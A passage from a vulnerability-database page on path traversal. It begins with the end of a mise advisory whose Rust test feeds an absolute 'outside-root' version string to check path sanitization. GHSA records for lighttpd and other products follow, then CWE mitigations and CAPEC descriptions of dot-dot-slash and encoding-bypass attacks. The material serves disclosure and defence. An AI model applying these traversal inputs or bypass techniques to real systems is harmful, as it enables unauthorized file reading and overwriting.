}\n+\n+#[cfg(test)]\n+mod tests {\n+ use super::*;\n+ use crate::cli::args::{BackendArg, BackendResolution};\n+ use crate::toolset::{ToolRequest, ToolSource, ToolVersionOptions};\n+\n+ fn http_test_tv(version: \u0026str) -\u003e ToolVersion {\n+ let backend = Arc::new(BackendArg::new_raw(\n+ \"http-absolute-version\".to_string(),\n+ Some(\"http:absolute-version\".to_string()),\n+ \"absolute-version\".to_string(),\n+ None,\n+ BackendResolution::new(true),\n+ ));\n+ let request = ToolRequest::Version {\n+ backend,\n+ version: version.to_string(),\n+ options: ToolVersionOptions::default(),\n+ source: ToolSource::Argument,\n+ };\n+ ToolVersion::new(request, version.to_string())\n+ }\n+\n+ #[test]\n+ fn install_symlink_path_uses_sanitized_version_pathname() {\n+ let tv = http_test_tv(\"/outside-root/mise-http-version-out/selected-prefix\");\n+\n+ assert_eq!(\n+ tv.tv_pathname(),\n+ \"-outside-root-mise-http-version-out-selected-prefix\"\n+ );\n+ assert!(!Path::new(\u0026tv.tv_pathname()).is_absolute());\n+ }\n+\n+ #[test]\n+ fn latest_install_symlink_still_uses_content_version() {\n+ let tv = http_test_tv(\"latest\");\n+ let cache_key = \"abcdef123456\";\n+ let version_name = if tv.version == \"latest\" || tv.version.is_empty() {\n+ cache_key[..7.min(cache_key.len())].to_string()\n+ } else {\n+ tv.tv_pathname()\n+ };\n+\n+ assert_eq!(version_name, \"abcdef1\");\n+ }\n+}\n```\n\nReporter: JUNYI LIU",
"id": "GHSA-f94h-j2qg-fxw3",
"modified": "2026-06-23T18:13:53Z",
"published": "2026-06-23T18:13:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jdx/mise/security/advisories/GHSA-f94h-j2qg-fxw3"
},
{
"type": "PACKAGE",
"url": "https://github.com/jdx/mise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "mise HTTP backend uses raw version path for install symlink destination"
}
GHSA-F959-JHQC-RQPV
Vulnerability from github – Published: 2022-05-13 01:02 – Updated: 2022-05-13 01:02An issue was discovered in mod_alias_physical_handler in mod_alias.c in lighttpd before 1.4.50. There is potential ../ path traversal of a single directory above an alias target, with a specific mod_alias configuration where the matched alias lacks a trailing '/' character, but the alias target filesystem path does have a trailing '/' character.
{
"affected": [],
"aliases": [
"CVE-2018-19052"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-07T05:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in mod_alias_physical_handler in mod_alias.c in lighttpd before 1.4.50. There is potential ../ path traversal of a single directory above an alias target, with a specific mod_alias configuration where the matched alias lacks a trailing \u0027/\u0027 character, but the alias target filesystem path does have a trailing \u0027/\u0027 character.",
"id": "GHSA-f959-jhqc-rqpv",
"modified": "2022-05-13T01:02:58Z",
"published": "2022-05-13T01:02:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19052"
},
{
"type": "WEB",
"url": "https://github.com/lighttpd/lighttpd1.4/commit/2105dae0f9d7a964375ce681e53cb165375f84c1"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2022/01/msg00012.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00054.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F95P-XWH9-8625
Vulnerability from github – Published: 2025-04-01 06:30 – Updated: 2026-04-01 18:34Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in CreativeMindsSolutions CM Download Manager allows Path Traversal. This issue affects CM Download Manager: from n/a through 2.9.6.
{
"affected": [],
"aliases": [
"CVE-2025-30910"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T06:15:54Z",
"severity": "HIGH"
},
"details": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability in CreativeMindsSolutions CM Download Manager allows Path Traversal. This issue affects CM Download Manager: from n/a through 2.9.6.",
"id": "GHSA-f95p-xwh9-8625",
"modified": "2026-04-01T18:34:18Z",
"published": "2025-04-01T06:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30910"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/cm-download-manager/vulnerability/wordpress-cm-download-manager-plugin-2-9-6-arbitrary-file-deletion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F964-36Q9-CFJ7
Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2024-04-04 05:40AgilePoint NX v8.0 SU2.2 & SU2.3 - Path traversal - Vulnerability allows path traversal and downloading files from the server, by an unspecified request.
{
"affected": [],
"aliases": [
"CVE-2023-31179"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-08T21:15:11Z",
"severity": "HIGH"
},
"details": "AgilePoint NX v8.0 SU2.2 \u0026 SU2.3 - Path traversal -\u00a0Vulnerability allows path traversal and downloading files from the server, by an unspecified request.\n\n",
"id": "GHSA-f964-36q9-cfj7",
"modified": "2024-04-04T05:40:43Z",
"published": "2023-07-06T21:14:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31179"
},
{
"type": "WEB",
"url": "https://www.gov.il/en/Departments/faq/cve_advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F97H-CCG7-JM4M
Vulnerability from github – Published: 2022-05-17 04:54 – Updated: 2022-05-17 04:54Directory traversal vulnerability in the aokitaka ZIP with Pass application 4.5.7 and earlier, and ZIP with Pass Pro application 6.3.8 and earlier, for Android allows attackers to overwrite or create arbitrary files via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2014-0802"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-01-12T18:34:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the aokitaka ZIP with Pass application 4.5.7 and earlier, and ZIP with Pass Pro application 6.3.8 and earlier, for Android allows attackers to overwrite or create arbitrary files via unspecified vectors.",
"id": "GHSA-f97h-ccg7-jm4m",
"modified": "2022-05-17T04:54:58Z",
"published": "2022-05-17T04:54:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0802"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN88313872/index.html"
},
{
"type": "WEB",
"url": "http://jvndb.jvn.jp/jvndb/JVNDB-2014-000001"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.